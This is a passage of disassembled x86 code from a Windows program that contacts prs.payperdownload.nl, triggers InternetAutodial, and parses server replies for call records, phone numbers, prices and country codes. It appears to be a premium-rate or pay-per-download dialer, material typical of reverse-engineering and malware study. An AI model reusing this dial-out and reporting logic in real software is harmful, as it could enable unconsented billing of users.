		pop	ebx
		retn	4
sub_406190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406200	proc near		; CODE XREF: sub_404890+14Ap
		push	74h
		call	sub_405FB0
		xor	eax, eax
		retn	10h
sub_406200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406210	proc near		; CODE XREF: sub_407D40+346p

var_42C		= dword	ptr -42Ch
Memory		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_402		= byte ptr -402h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= byte ptr  18h

		sub	esp, 42Ch
		mov	eax, [esp+42Ch+arg_10]
		push	ebx
		push	esi
		mov	esi, [esp+434h+arg_0]
		mov	ecx, [esi+20h]
		push	edi
		xor	ebx, ebx
		push	eax
		push	ecx
		lea	ecx, [esp+440h+var_42C]
		mov	[esp+440h+var_42C], ebx
		mov	[esp+440h+Memory], ebx
		mov	[esp+440h+var_424], ebx
		mov	[esp+440h+var_420], bl
		mov	[esp+440h+var_402], bl
		call	sub_401DD0
		lea	edx, [esp+438h+arg_14]
		push	edx
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_409F60
		push	eax
		lea	eax, [esp+440h+var_400]
		push	eax
		call	ds:dword_40F1DC	; wvsprintfA
		mov	ecx, [esi+20h]
		push	1FAh
		push	ecx
		lea	ecx, [esp+440h+var_42C]
		call	sub_401DD0
		lea	ecx, [esp+438h+var_42C]
		call	sub_409F60
		push	10h
		push	eax
		mov	eax, [esi+4]
		lea	edx, [esp+440h+var_400]
		push	edx
		push	eax
		call	ds:dword_40F1D0	; MessageBoxA
		mov	ecx, [esp+438h+var_42C]
		mov	edi, ds:dword_40F194
		push	ecx
		call	edi
		mov	edx, [esi+20h]
		push	74h
		push	edx
		lea	ecx, [esp+440h+var_42C]
		mov	[esp+440h+var_42C], ebx
		call	sub_401DD0
		push	3Fh		; Val
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_409F60
		push	eax		; Str
		call	_strchr
		add	esp, 8
		test	eax, eax
		mov	eax, offset a?	; "?"
		jz	short loc_4062D7
		mov	eax, offset asc_40F94C ; "&"


loc_4062D7:				; CODE XREF: sub_406210+C0j
		push	eax
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_402310
		push	offset aErrorFatalFile ; "error=fatal&filename="
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_402310
		mov	eax, [esp+438h+arg_4]
		push	eax
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_40A4B0
		push	offset aLinenumber ; "&linenumber="
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_402310
		mov	ecx, [esp+438h+arg_8]
		push	ecx
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_40A480
		push	offset aLasterror ; "&lasterror="
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_402310
		mov	edx, [esp+438h+arg_C]
		push	edx
		lea	ecx, [esp+43Ch+var_42C]
		call	sub_40A480
		lea	ecx, [esp+438h+var_42C]
		call	sub_409F60
		push	1
		push	ebx
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_40F1AC
		mov	eax, [esi+4]
		push	eax
		call	ds:dword_40F200	; DestroyWindow
		push	ebx
		call	ds:dword_40F1D8	; PostQuitMessage
		mov	eax, [esp+438h+Memory]
		cmp	eax, ebx
		jz	short loc_40637E
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+438h+Memory], ebx


loc_40637E:				; CODE XREF: sub_406210+15Fj
		mov	ecx, [esp+438h+var_42C]
		push	ecx
		call	edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 42Ch
		retn
sub_406210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406390	proc near		; CODE XREF: sub_407D40+24Bp

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_5A		= byte ptr -5Ah
var_58		= dword	ptr -58h
Memory		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_2E		= byte ptr -2Eh
var_2C		= byte ptr -2Ch

		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+20h]
		xor	ebx, ebx
		push	71h
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_84], ebx
		mov	[esp+9Ch+var_80], ebx
		mov	[esp+9Ch+var_7C], ebx
		mov	[esp+9Ch+var_78], bl
		mov	[esp+9Ch+var_5A], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+98h+var_84]
		call	sub_402310
		mov	ecx, [edi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_40A1E0
		lea	ecx, [esp+94h+var_84]
		lea	esi, [edi+24h]
		call	sub_409F60
		push	eax
		mov	ecx, esi
		call	sub_408B20
		test	al, al
		mov	ebp, ds:dword_40F194
		jnz	short loc_406409
		push	esi
		mov	ecx, edi
		call	sub_405BF0
		jmp	loc_40649E
; ---------------------------------------------------------------------------


loc_406409:				; CODE XREF: sub_406390+6Aj
		lea	ecx, [esp+94h+var_2C]
		call	sub_409050
		lea	edx, [esp+94h+var_2C]
		push	edx
		mov	ecx, edi
		call	sub_405BF0
		push	esi
		lea	ecx, [esp+98h+var_2C]
		call	sub_4090B0
		test	al, al
		jz	short loc_406489
		mov	eax, [edi+20h]
		push	72h
		push	eax
		lea	ecx, [esp+9Ch+var_58]
		mov	[esp+9Ch+var_58], ebx
		mov	[esp+9Ch+Memory], ebx
		mov	[esp+9Ch+var_50], ebx
		mov	[esp+9Ch+var_4C], bl
		mov	[esp+9Ch+var_2E], bl
		call	sub_401DD0
		push	0Ah		; Radix
		push	ebx		; EndPtr
		lea	ecx, [esp+9Ch+var_58]
		call	sub_409F60
		push	eax		; Str
		call	_strtol
		add	esp, 0Ch
		mov	ecx, esi
		call	sub_408FC0
		mov	eax, [esp+94h+Memory]
		cmp	eax, ebx
		jz	short loc_406480
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+94h+Memory], ebx


loc_406480:				; CODE XREF: sub_406390+E1j
		mov	ecx, [esp+94h+var_58]
		push	ecx
		call	ebp
		jmp	short loc_406495
; ---------------------------------------------------------------------------


loc_406489:				; CODE XREF: sub_406390+9Aj
		lea	edx, [esp+94h+var_2C]
		push	edx
		mov	ecx, esi
		call	sub_409190


loc_406495:				; CODE XREF: sub_406390+F7j
		lea	ecx, [esp+94h+var_2C]
		call	sub_408910


loc_40649E:				; CODE XREF: sub_406390+74j
		mov	eax, [edi+20h]
		push	6Eh
		push	eax
		mov	ecx, esi
		call	sub_408F20
		push	1
		mov	ecx, esi
		call	sub_408E80
		mov	ecx, dword_41252C
		push	eax
		call	sub_409780
		push	1
		mov	ecx, esi
		call	sub_408EC0
		mov	ecx, dword_41252C
		push	eax
		call	sub_4097A0
		mov	ecx, dword_41252C
		push	(offset	a?+2)
		call	sub_4096E0
		push	1
		mov	ecx, esi
		call	sub_408F00
		mov	ecx, dword_41252C
		push	eax
		call	sub_409730
		mov	ecx, [esp+94h+var_84]
		push	ecx
		call	ebp
		mov	edx, [edi+20h]
		push	77h
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_84], ebx
		call	sub_401DD0
		lea	ecx, [esp+94h+var_84]
		call	sub_409F60
		mov	esi, eax
		push	esi
		call	ds:dword_40F084	; lstrlen
		cmp	eax, ebx
		jbe	short loc_406533
		cmp	byte ptr [esi],	31h
		jnz	short loc_406533
		mov	cl, 1
		jmp	short loc_406535
; ---------------------------------------------------------------------------


loc_406533:				; CODE XREF: sub_406390+198j
					; sub_406390+19Dj
		xor	cl, cl


loc_406535:				; CODE XREF: sub_406390+1A1j
		cmp	eax, 1
		mov	[edi+50h], cl
		jbe	short loc_406547
		cmp	byte ptr [esi+1], 31h
		jnz	short loc_406547
		mov	al, 1
		jmp	short loc_406549
; ---------------------------------------------------------------------------


loc_406547:				; CODE XREF: sub_406390+1ABj
					; sub_406390+1B1j
		xor	al, al


loc_406549:				; CODE XREF: sub_406390+1B5j
		mov	[edi+51h], al
		mov	eax, [esp+94h+var_80]
		cmp	eax, ebx
		jz	short loc_406561
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+94h+var_80], ebx


loc_406561:				; CODE XREF: sub_406390+1C2j
		mov	eax, [esp+94h+var_84]
		push	eax
		call	ebp
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 84h
		retn
sub_406390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406580	proc near		; CODE XREF: sub_408350+1EBp
					; sub_408350+235p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [ecx+20h]
		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		lea	eax, [edi+24B8h]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401DD0
		test	al, al
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		jz	short loc_4065B3
		mov	ecx, esi
		call	sub_406190
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4065B3:				; CODE XREF: sub_406580+23j
		mov	ecx, dword_41252C
		push	edi
		push	esi
		call	sub_409F00
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_406580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4065D0	proc near		; CODE XREF: sub_408350+121p
					; sub_408350+1A9p ...

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_2E		= byte ptr -2Eh
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 58h
		push	ebx
		push	esi
		mov	esi, [esp+60h+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_406634
		mov	ecx, [esp+64h+arg_0]
		xor	eax, eax
		jmp	short loc_4065F0
; ---------------------------------------------------------------------------
		align 10h


loc_4065F0:				; CODE XREF: sub_4065D0+18j
					; sub_4065D0+2Dj
		cmp	ds:dword_40F800[eax*8],	ecx
		jz	short loc_40661A
		inc	eax
		cmp	eax, 1Fh
		jb	short loc_4065F0
		mov	eax, 12Bh
		push	eax
		push	edi
		mov	[edi+54h], ecx
		call	sub_405D70
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 58h
		retn	8
; ---------------------------------------------------------------------------


loc_40661A:				; CODE XREF: sub_4065D0+27j
		mov	eax, ds:dword_40F804[eax*8]
		push	eax
		push	edi
		call	sub_405D70
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 58h
		retn	8
; ---------------------------------------------------------------------------


loc_406634:				; CODE XREF: sub_4065D0+10j
		mov	ecx, [edi+20h]
		lea	eax, [esi+24B8h]
		push	eax
		push	ecx
		lea	ecx, [esp+6Ch+var_58]
		mov	[esp+6Ch+var_58], ebx
		mov	[esp+6Ch+var_54], ebx
		mov	[esp+6Ch+var_50], ebx
		mov	[esp+6Ch+var_4C], bl
		mov	[esp+6Ch+var_2E], bl
		call	sub_401DD0
		test	al, al
		lea	ecx, [esp+64h+var_2C]
		jz	short loc_406670
		lea	edx, [esp+64h+var_58]
		push	edx
		call	sub_406190
		jmp	short loc_406682
; ---------------------------------------------------------------------------


loc_406670:				; CODE XREF: sub_4065D0+92j
		lea	eax, [esp+64h+var_58]
		push	eax
		push	esi
		push	ecx
		mov	ecx, dword_41252C
		call	sub_409F00


loc_406682:				; CODE XREF: sub_4065D0+9Ej
		lea	ecx, [esp+64h+var_2C]
		call	sub_409F60
		push	eax
		push	offset aS	; "%s"
		push	edi
		call	sub_405E40
		mov	eax, [esp+70h+Memory]
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_4066AF
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+64h+Memory], ebx


loc_4066AF:				; CODE XREF: sub_4065D0+D0j
		mov	edx, [esp+64h+var_2C]
		mov	esi, ds:dword_40F194
		push	edx
		call	esi
		mov	eax, [esp+64h+var_54]
		cmp	eax, ebx
		jz	short loc_4066D1
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+64h+var_54], ebx


loc_4066D1:				; CODE XREF: sub_4065D0+F2j
		mov	eax, [esp+64h+var_58]
		push	eax
		call	esi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 58h
		retn	8
sub_4065D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4066F0	proc near		; CODE XREF: sub_407D40+18Dp

var_90D		= byte ptr -90Dh
var_90C		= byte ptr -90Ch
var_90B		= byte ptr -90Bh
var_90A		= byte ptr -90Ah
var_909		= byte ptr -909h
var_908		= dword	ptr -908h
var_904		= dword	ptr -904h
var_900		= dword	ptr -900h
var_8FC		= dword	ptr -8FCh
var_8F8		= dword	ptr -8F8h
var_8F4		= dword	ptr -8F4h
var_8F0		= dword	ptr -8F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8DC		= dword	ptr -8DCh
var_8D8		= dword	ptr -8D8h
var_8D4		= dword	ptr -8D4h
var_8D0		= dword	ptr -8D0h
var_8CC		= dword	ptr -8CCh
var_8C8		= dword	ptr -8C8h
var_8C4		= dword	ptr -8C4h
var_8C0		= dword	ptr -8C0h
var_8BC		= dword	ptr -8BCh
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8AC		= byte ptr -8ACh
var_8A0		= byte ptr -8A0h
var_898		= byte ptr -898h
var_88C		= dword	ptr -88Ch
var_888		= dword	ptr -888h
var_884		= dword	ptr -884h
var_880		= byte ptr -880h
var_862		= byte ptr -862h
var_860		= byte ptr -860h
var_858		= byte ptr -858h
var_840		= byte ptr -840h
var_838		= byte ptr -838h
var_820		= byte ptr -820h
Str2		= byte ptr -800h
var_7FC		= byte ptr -7FCh

		sub	esp, 910h
		push	esi
		mov	esi, ds:dword_40F250
		push	edi
		push	0
		push	1
		mov	edi, ecx
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		mov	[esp+924h+var_8C4], edi
		call	esi	; InternetCheckConnectionA
		test	eax, eax
		jnz	short loc_40673B
		mov	al, [edi+58h]
		test	al, al
		jnz	loc_406FCA
		push	0
		push	2
		call	ds:dword_40F24C	; InternetAutodial
		push	0
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		call	esi	; InternetCheckConnectionA
		test	eax, eax
		jz	loc_406FCA


loc_40673B:				; CODE XREF: sub_4066F0+21j
		push	0
		push	0
		push	0
		push	0
		push	offset aDel	; "del"
		call	ds:dword_40F248	; InternetOpenA
		test	eax, eax
		mov	[esp+918h+var_8B8], eax
		jz	loc_406FCA
		push	ebx
		push	ebp
		push	0
		push	0
		push	0
		push	0
		push	offset aHttpPrs_payp_0 ; "http://prs.payperdownload.nl/radius/dia"...
		push	eax
		call	ds:dword_40F244	; InternetOpenUrlA
		test	eax, eax
		mov	[esp+91Ch+var_8B8], eax
		jz	loc_406FAD
		lea	ecx, [esp+91Ch+var_8BC]
		push	ecx
		push	800h
		lea	edx, [esp+924h+var_7FC]
		push	edx
		push	eax
		mov	esi, 0FFFFFFFDh
		call	ds:dword_40F254	; InternetReadFile
		test	eax, eax
		jz	loc_406F8A
		mov	ecx, [esp+920h+var_8C0]
		test	ecx, ecx
		jz	loc_406F8A
		xor	eax, eax
		xor	bl, bl
		xor	ebp, ebp
		xor	edx, edx
		xor	esi, esi
		cmp	ecx, eax
		mov	[esp+ecx+920h+Str2], 0
		mov	byte ptr [esp+920h+var_908+1], 0
		mov	byte ptr [esp+920h+var_908], 0
		mov	byte ptr [esp+920h+var_908+2], 0
		mov	byte ptr [esp+920h+var_904+2], 0
		mov	byte ptr [esp+920h+var_904+1], 0
		mov	byte ptr [esp+920h+var_908+3], 0
		mov	byte ptr [esp+920h+var_904], 0
		mov	[esp+920h+var_90C], 0
		mov	[esp+920h+var_90A], 0
		mov	[esp+920h+var_909], 0
		mov	[esp+920h+var_90B], 0
		mov	[esp+920h+var_90D], bl
		mov	byte ptr [esp+920h+var_904+3], bl
		mov	[esp+920h+var_8CC], eax
		mov	[esp+920h+var_8D8], eax
		mov	[esp+920h+var_8F0], eax
		mov	[esp+920h+var_8E8], eax
		mov	[esp+920h+var_8F8], eax
		mov	[esp+920h+var_8C8], eax
		mov	[esp+920h+var_8FC], eax
		mov	[esp+920h+var_8D0], ebp
		mov	[esp+920h+var_8F4], eax
		mov	[esp+920h+var_8D4], edx
		mov	[esp+920h+var_900], eax
		mov	[esp+920h+var_8DC], eax
		jbe	loc_406B40
		mov	ebp, 1
		lea	edi, [esp+920h+Str2]


loc_406843:				; CODE XREF: sub_4066F0+43Ej
		mov	al, byte ptr [esp+920h+var_904+3]
		test	al, al
		jnz	loc_406B34
		movsx	eax, byte ptr [edi]
		sub	eax, 22h
		jz	loc_406A48
		sub	eax, 1Ah
		jz	loc_406A3E
		sub	eax, 2
		jz	loc_406A10
		cmp	esi, 7D0h
		ja	loc_406F75
		mov	al, byte ptr [esp+920h+var_908+2]
		test	al, al
		jz	short loc_4068ED
		push	0Bh		; MaxCount
		push	edi		; Str2
		push	offset Str1	; "callrecords"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4068A8
		add	esi, 0Ah
		add	edi, 0Ah
		mov	byte ptr [esp+920h+var_908+1], 1
		add	ebp, 0Ah
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4068A8:				; CODE XREF: sub_4066F0+1A3j
		push	0Ch		; MaxCount
		push	edi		; Str2
		push	offset aCallrecords_0 ;	"/callrecords"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4068C6
		mov	byte ptr [esp+920h+var_904+3], 1
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4068C6:				; CODE XREF: sub_4066F0+1CAj
		push	4		; MaxCount
		push	edi		; Str2
		push	offset aCall	; "call"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4068ED
		add	esi, 3
		add	edi, 3
		mov	byte ptr [esp+920h+var_908], 1
		add	ebp, 3
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4068ED:				; CODE XREF: sub_4066F0+18Fj
					; sub_4066F0+1E8j
		mov	al, byte ptr [esp+920h+var_908]
		test	al, al
		jz	loc_406B25
		push	0Ah		; MaxCount
		push	edi		; Str2
		push	offset aRealnumber ; "realnumber"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40695F
		mov	[esp+920h+var_90C], al
		mov	[esp+920h+var_90A], al
		mov	[esp+920h+var_909], al
		mov	[esp+920h+var_90B], al
		mov	al, byte ptr [esp+920h+var_904+1]
		test	al, al
		jnz	short loc_40693E
		xor	bl, bl
		add	esi, 9
		add	edi, 9
		mov	[esp+920h+var_909], 1
		mov	[esp+920h+var_90D], bl
		add	ebp, 9
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_40693E:				; CODE XREF: sub_4066F0+233j
		mov	al, byte ptr [esp+920h+var_908+3]
		test	al, al
		jnz	short loc_40694B
		mov	[esp+920h+var_90B], 1


loc_40694B:				; CODE XREF: sub_4066F0+254j
		xor	bl, bl
		add	esi, 9
		add	edi, 9
		mov	[esp+920h+var_90D], bl
		add	ebp, 9
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_40695F:				; CODE XREF: sub_4066F0+21Bj
		push	5		; MaxCount
		push	edi		; Str2
		push	offset aPrice	; "price"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4069B4
		mov	[esp+920h+var_90C], al
		mov	[esp+920h+var_90A], al
		mov	[esp+920h+var_909], al
		mov	[esp+920h+var_90B], al
		mov	al, byte ptr [esp+920h+var_904]
		xor	bl, bl
		test	al, al
		mov	[esp+920h+var_90D], bl
		jnz	short loc_4069A1
		add	esi, 4
		add	edi, 4
		mov	bl, 1
		add	ebp, 4
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4069A1:				; CODE XREF: sub_4066F0+29Fj
		add	esi, 4
		add	edi, 4
		mov	[esp+920h+var_90D], 1
		add	ebp, 4
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4069B4:				; CODE XREF: sub_4066F0+281j
		push	0Bh		; MaxCount
		push	edi		; Str2
		push	offset aCountrycode ; "countrycode"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_406B25
		mov	[esp+920h+var_90C], al
		mov	[esp+920h+var_90A], al
		mov	[esp+920h+var_909], al
		mov	[esp+920h+var_90B], al
		mov	al, byte ptr [esp+920h+var_904+2]
		xor	bl, bl
		test	al, al
		mov	[esp+920h+var_90D], bl
		jnz	short loc_4069FD
		add	esi, 4
		add	edi, 4
		mov	[esp+920h+var_90C], 1
		add	ebp, 4
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_4069FD:				; CODE XREF: sub_4066F0+2F8j
		add	esi, 4
		add	edi, 4
		mov	[esp+920h+var_90A], 1
		add	ebp, 4
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A10:				; CODE XREF: sub_4066F0+177j
		mov	al, byte ptr [esp+920h+var_908+1]
		test	al, al
		jz	short loc_406A27
		mov	byte ptr [esp+920h+var_908+1], 0
		mov	byte ptr [esp+920h+var_908+2], 0
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A27:				; CODE XREF: sub_4066F0+326j
		mov	al, byte ptr [esp+920h+var_908]
		test	al, al
		jz	short loc_406A34
		mov	byte ptr [esp+920h+var_908], 0


loc_406A34:				; CODE XREF: sub_4066F0+33Dj
		mov	byte ptr [esp+920h+var_908+2], 0
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A3E:				; CODE XREF: sub_4066F0+16Ej
		mov	byte ptr [esp+920h+var_908+2], 1
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A48:				; CODE XREF: sub_4066F0+165j
		mov	al, [esp+920h+var_909]
		test	al, al
		jz	short loc_406A74
		mov	eax, [esp+920h+var_8F8]
		test	eax, eax
		jle	short loc_406A6B
		mov	[esp+920h+var_909], 0
		mov	byte ptr [esp+920h+var_904+1], 1
		mov	[esp+920h+var_8C8], esi
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A6B:				; CODE XREF: sub_4066F0+366j
		mov	[esp+920h+var_8F8], ebp
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A74:				; CODE XREF: sub_4066F0+35Ej
		mov	al, [esp+920h+var_90B]
		test	al, al
		jz	short loc_406AA0
		mov	eax, [esp+920h+var_8FC]
		test	eax, eax
		jle	short loc_406A97
		mov	[esp+920h+var_90B], 0
		mov	byte ptr [esp+920h+var_908+3], 1
		mov	[esp+920h+var_8D0], esi
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406A97:				; CODE XREF: sub_4066F0+392j
		mov	[esp+920h+var_8FC], ebp
		jmp	loc_406B25
; ---------------------------------------------------------------------------


loc_406AA0:				; CODE XREF: sub_4066F0+38Aj
		test	bl, bl
		jz	short loc_406ABF
		mov	eax, [esp+920h+var_8F4]
		test	eax, eax
		jle	short loc_406AB9
		xor	bl, bl
		mov	byte ptr [esp+920h+var_904], 1
		mov	[esp+920h+var_8D4], esi
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406AB9:				; CODE XREF: sub_4066F0+3BAj
		mov	[esp+920h+var_8F4], ebp
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406ABF:				; CODE XREF: sub_4066F0+3B2j
		mov	al, [esp+920h+var_90D]
		test	al, al
		jz	short loc_406AE0
		mov	eax, [esp+920h+var_900]
		test	eax, eax
		jle	short loc_406ADA
		mov	[esp+920h+var_90D], 0
		mov	[esp+920h+var_8DC], esi
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406ADA:				; CODE XREF: sub_4066F0+3DDj
		mov	[esp+920h+var_900], ebp
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406AE0:				; CODE XREF: sub_4066F0+3D5j
		mov	al, [esp+920h+var_90C]
		test	al, al
		jz	short loc_406B06
		mov	eax, [esp+920h+var_8CC]
		test	eax, eax
		jle	short loc_406B00
		mov	[esp+920h+var_90C], 0
		mov	byte ptr [esp+920h+var_904+2], 1
		mov	[esp+920h+var_8D8], esi
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406B00:				; CODE XREF: sub_4066F0+3FEj
		mov	[esp+920h+var_8CC], ebp
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406B06:				; CODE XREF: sub_4066F0+3F6j
		mov	al, [esp+920h+var_90A]
		test	al, al
		jz	short loc_406B25
		mov	eax, [esp+920h+var_8F0]
		test	eax, eax
		jle	short loc_406B21
		mov	[esp+920h+var_90A], 0
		mov	[esp+920h+var_8E8], esi
		jmp	short loc_406B25
; ---------------------------------------------------------------------------


loc_406B21:				; CODE XREF: sub_4066F0+424j
		mov	[esp+920h+var_8F0], ebp


loc_406B25:				; CODE XREF: sub_4066F0+1B3j
					; sub_4066F0+1D1j ...
		mov	eax, [esp+920h+var_8C0]
		inc	esi
		inc	edi
		inc	ebp
		cmp	esi, eax
		jb	loc_406843


loc_406B34:				; CODE XREF: sub_4066F0+159j
		mov	edx, [esp+920h+var_8D4]
		mov	ebp, [esp+920h+var_8D0]
		mov	eax, [esp+920h+var_8C8]


loc_406B40:				; CODE XREF: sub_4066F0+141j
		mov	esi, [esp+920h+var_8F8]
		sub	eax, esi
		cmp	eax, 13h
		mov	[esp+920h+var_8F8], eax
		mov	ecx, 13h
		jg	short loc_406B56
		mov	ecx, eax


loc_406B56:				; CODE XREF: sub_4066F0+462j
		mov	ebx, ecx
		shr	ecx, 2
		lea	esi, [esp+esi+920h+Str2]
		lea	edi, [esp+920h+var_8B4]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, [esp+920h+var_8FC]
		sub	ebp, esi
		mov	byte ptr [esp+eax+920h+var_8B4], 0
		mov	eax, ebp
		cmp	eax, 13h
		mov	[esp+920h+var_8FC], eax
		mov	ecx, 13h
		jg	short loc_406B8C
		mov	ecx, eax


loc_406B8C:				; CODE XREF: sub_4066F0+498j
		mov	ebx, ecx
		shr	ecx, 2
		lea	esi, [esp+esi+920h+Str2]
		lea	edi, [esp+920h+var_8A0]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, [esp+920h+var_8F4]
		sub	edx, esi
		mov	[esp+eax+920h+var_8A0],	0
		mov	eax, edx
		cmp	eax, 1Dh
		mov	[esp+920h+var_8F4], eax
		mov	ecx, 1Dh
		jg	short loc_406BC8
		mov	ecx, eax


loc_406BC8:				; CODE XREF: sub_4066F0+4D4j
		mov	ebp, [esp+920h+var_8DC]
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+esi+920h+Str2]
		lea	edi, [esp+920h+var_860]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		sub	ebp, [esp+920h+var_900]
		cmp	ebp, 1Dh
		mov	[esp+eax+920h+var_860],	0
		mov	ecx, 1Dh
		jg	short loc_406C00
		mov	ecx, ebp


loc_406C00:				; CODE XREF: sub_4066F0+50Cj
		mov	esi, [esp+920h+var_900]
		mov	ebx, [esp+920h+var_8D8]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [esp+esi+920h+Str2]
		lea	edi, [esp+920h+var_840]
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+920h+var_8CC]
		and	ecx, 3
		sub	ebx, eax
		cmp	ebx, 4
		rep movsb
		mov	[esp+ebp+920h+var_840],	0
		mov	ecx, 4
		jg	short loc_406C3E
		mov	ecx, ebx


loc_406C3E:				; CODE XREF: sub_4066F0+54Aj
		mov	edx, ecx
		shr	ecx, 2
		lea	esi, [esp+eax+920h+Str2]
		mov	eax, [esp+920h+var_8E8]
		lea	edi, [esp+920h+var_8E4]
		rep movsd
		mov	ecx, edx
		mov	edx, [esp+920h+var_8F0]
		and	ecx, 3
		sub	eax, edx
		cmp	eax, 4
		rep movsb
		mov	byte ptr [esp+ebx+920h+var_8E4], 0
		mov	[esp+920h+var_8E8], eax
		mov	ecx, 4
		jg	short loc_406C76
		mov	ecx, eax


loc_406C76:				; CODE XREF: sub_4066F0+582j
		lea	esi, [esp+edx+920h+Str2]
		mov	edx, ecx
		shr	ecx, 2
		lea	edi, [esp+920h+var_8F0]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		test	ebx, ebx
		rep movsb
		mov	byte ptr [esp+eax+920h+var_8F0], 0
		jle	loc_406DF1
		mov	eax, [esp+920h+var_8E8]
		test	eax, eax
		jle	loc_406DF1
		push	ebx		; MaxCount
		lea	eax, [esp+924h+var_8E4]
		push	eax		; Str2
		push	offset aXx_0	; "xx"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406CDA
		push	ebx		; MaxCount
		lea	ecx, [esp+924h+var_8E4]
		push	ecx		; Str2
